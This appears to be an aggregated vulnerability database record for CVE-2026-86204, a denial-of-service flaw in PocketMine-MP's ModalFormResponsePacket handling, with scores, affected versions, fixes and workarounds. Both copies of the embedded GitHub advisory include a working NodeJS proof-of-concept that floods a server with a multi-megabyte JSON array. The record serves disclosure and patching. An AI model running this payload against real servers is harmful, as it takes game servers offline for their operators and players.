{"id":"CVE-2026-86204","aliases":["EUVD-2026-74915","GHSA-323m-6rhr-p53j","GHSA-788v-5pfp-93ff"],"status":"published","title":"PocketMine-MP before 5.39.2 Denial of Service via ModalFormResponsePacket","description":"PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00436,"percentile":0.38155,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-770"],"published":"2026-04-06T22:54:07Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"Packagist","package":"pocketmine/pocketmine-mp","fixed_in":["5.39.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"pocketmine/pocketmine-mp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.39.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"pocketmine/pocketmine-mp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.39.2"}]}],"versions":["3.0.0","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.10.0","3.10.1","3.11.0","3.11.1","3.11.2","3.11.3","3.11.4","3.11.5","3.11.6","3.11.7","3.12.0","3.12.1","3.12.2","3.12.3","3.12.4","3.12.5","3.12.6","3.13.0","3.13.1","3.14.0","3.14.1","3.14.2","3.14.3","3.15.0","3.15.1","3.15.2","3.15.3","3.15.4","3.16.0","3.16.1","3.17.0","3.17.1","3.17.2","3.17.3","3.17.4","3.17.5","3.17.6","3.17.7","3.18.0","3.18.1","3.18.2","3.19.0","3.19.1","3.19.2","3.19.3","3.2.0","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.20.0","3.21.0","3.21.1","3.22.0","3.22.1","3.22.2","3.22.3","3.22.4","3.22.5","3.23.0","3.23.1","3.24.0","3.25.0","3.25.1","3.25.2","3.25.3","3.25.4","3.25.5","3.25.6","3.26.0","3.26.1","3.26.2","3.26.3","3.26.4","3.26.5","3.27.0","3.28.0","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.4.0","3.4.1","3.4.2","3.4.3","3.5.0","3.5.1","3.5.10","3.5.11","3.5.12","3.5.13","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.7.0","3.7.1","3.7.2","3.7.3","3.8.0","3.8.1","3.8.2","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.9.0","3.9.1","3.9.2","3.9.3","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","4.0.0","4.0.0-BETA1","4.0.0-BETA10","4.0.0-BETA11","4.0.0-BETA12","4.0.0-BETA13","4.0.0-BETA14","4.0.0-BETA15","4.0.0-BETA2","4.0.0-BETA3","4.0.0-BETA4","4.0.0-BETA5","4.0.0-BETA6","4.0.0-BETA7","4.0.0-BETA8","4.0.0-BETA9","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-BETA1","4.1.0-BETA2","4.10.0","4.10.1","4.10.2","4.11.0","4.11.0-BETA1","4.11.0-BETA2","4.12.0","4.12.1","4.12.10","4.12.11","4.12.2","4.12.3","4.12.4","4.12.5","4.12.6","4.12.7","4.12.8","4.12.9","4.13.0","4.13.0-BETA1","4.14.0","4.14.1","4.15.0","4.15.1","4.15.2","4.15.3","4.16.0","4.16.0-BETA1","4.16.0-BETA2","4.17.0","4.17.1","4.17.2","4.18.0","4.18.0-ALPHA1","4.18.0-ALPHA2","4.18.1","4.18.2","4.18.3","4.18.4","4.19.0","4.19.1","4.19.2","4.19.3","4.2.0","4.2.1","4.2.10","4.2.2","4.2.3","4.2.4","4.2.5","4.2.6","4.2.7","4.2.8","4.2.9","4.20.0","4.20.1","4.20.2","4.20.3","4.20.4","4.20.5","4.21.0","4.21.1","4.22.0","4.22.1","4.22.2","4.22.3","4.23.0","4.23.1","4.23.2","4.23.3","4.23.4","4.23.5","4.23.6","4.24.0","4.25.0","4.26.0","4.3.0","4.3.1","4.3.2","4.3.3","4.3.4","4.4.0","4.4.0-BETA1","4.4.1","4.4.2","4.5.0","4.5.1","4.5.2","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","5.0.0","5.0.0-ALPHA1","5.0.0-ALPHA2","5.0.0-ALPHA3","5.0.0-ALPHA4","5.0.0-ALPHA5","5.0.0-ALPHA6","5.0.0-ALPHA7","5.0.0-ALPHA8","5.0.0-ALPHA9","5.0.0-BETA1","5.0.0-BETA2","5.0.0-BETA3","5.0.0-BETA4","5.0.1","5.1.0","5.1.1","5.1.2","5.1.3","5.10.0","5.11.0","5.11.1","5.11.2","5.12.0","5.12.1","5.13.0","5.14.0","5.14.1","5.15.0","5.16.0","5.17.0","5.17.1","5.18.0","5.18.1","5.19.0","5.2.0","5.2.1","5.20.0","5.20.1","5.21.0","5.21.1","5.21.2","5.22.0","5.23.0","5.23.1","5.23.2","5.23.3","5.24.0","5.25.0","5.25.1","5.25.2","5.26.0","5.27.0","5.27.1","5.28.0","5.28.1","5.28.2","5.29.0","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.30.0","5.30.1","5.31.0","5.32.0","5.32.1","5.33.0","5.33.1","5.33.2","5.34.0","5.34.1","5.35.0","5.35.1","5.36.0","5.37.0","5.37.1","5.37.2","5.37.3","5.38.0","5.39.0","5.39.1","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.5.0","5.5.0-BETA1","5.6.0","5.6.1","5.7.0","5.7.1","5.8.1","5.8.2","5.9.0"]}],"products":[{"vendor":"pmmp","product":"pocketmine-mp"}],"references":[{"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/pocketmine-mp-before-5.39.2-denial-of-service-via-modalformresponsepacket","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86204","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-323m-6rhr-p53j"},{"url":"https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877","tags":["web"]},{"url":"https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5","tags":["web"]},{"url":"https://github.com/advisories/GHSA-788v-5pfp-93ff"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86204.json","tags":["advisory"]},{"url":"https://github.com/pmmp/PocketMine-MP","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-86204","title":"PocketMine-MP before 5.39.2 Denial of Service via ModalFormResponsePacket","description":"PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.","status":"published","published":"2026-09-09T13:32:05.073Z","modified":"2026-10-08T15:25:48.785Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T13:49:42.666099Z"}],"euvd":[{"id":"EUVD-2026-74915","description":"PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.","status":"published","published":"2026-09-09T13:32:05Z","modified":"2026-10-08T15:25:48Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:28.564399Z"}],"ghsa":[{"id":"GHSA-323m-6rhr-p53j","title":"PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket...","description":"PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.","status":"published","published":"2026-09-09T15:35:11Z","modified":"2026-09-09T15:35:17Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:11:38.712835Z"},{"id":"GHSA-788v-5pfp-93ff","title":"PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling","description":"### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player-\u003eforms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n   * Any non-existent `formId`\n   * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'Test';\n\nconst client = createClient({\n  host,\n  port,\n  username,\n  offline: true\n});\n\nconst hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';\n\nclient.on('spawn', () =\u003e {\n  console.log('[*] Connected \u0026 spawned. Sending malicious packet...');\n\n  client.write('modal_form_response', {\n    formId: 9999,       // Form inexistant\n    formData: hugePayload // JSON énorme\n  });\n\n  console.log('[*] Packet sent. The server should start freezing shortly.');\n});\n```","status":"published","published":"2026-04-06T22:54:07Z","modified":"2026-04-06T22:54:08Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-86204","description":"PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.","status":"published","published":"2026-09-09T14:17:21.69Z","modified":"2026-10-08T16:17:56.7Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:45.93749Z"}],"osv":[{"id":"CVE-2026-86204","title":"PocketMine-MP before 5.39.2 Denial of Service via ModalFormResponsePacket","description":"PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.","status":"published","published":"2026-09-09T13:32:05.073Z","modified":"2026-10-28T02:31:09.063943934Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"GHSA-788v-5pfp-93ff","title":"PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling","description":"### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player-\u003eforms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n   * Any non-existent `formId`\n   * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'Test';\n\nconst client = createClient({\n  host,\n  port,\n  username,\n  offline: true\n});\n\nconst hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';\n\nclient.on('spawn', () =\u003e {\n  console.log('[*] Connected \u0026 spawned. Sending malicious packet...');\n\n  client.write('modal_form_response', {\n    formId: 9999,       // Form inexistant\n    formData: hugePayload // JSON énorme\n  });\n\n  console.log('[*] Packet sent. The server should start freezing shortly.');\n});\n```","status":"published","published":"2026-04-06T22:54:07Z","modified":"2026-09-10T03:56:07.977779804Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:40.657155Z"}]}}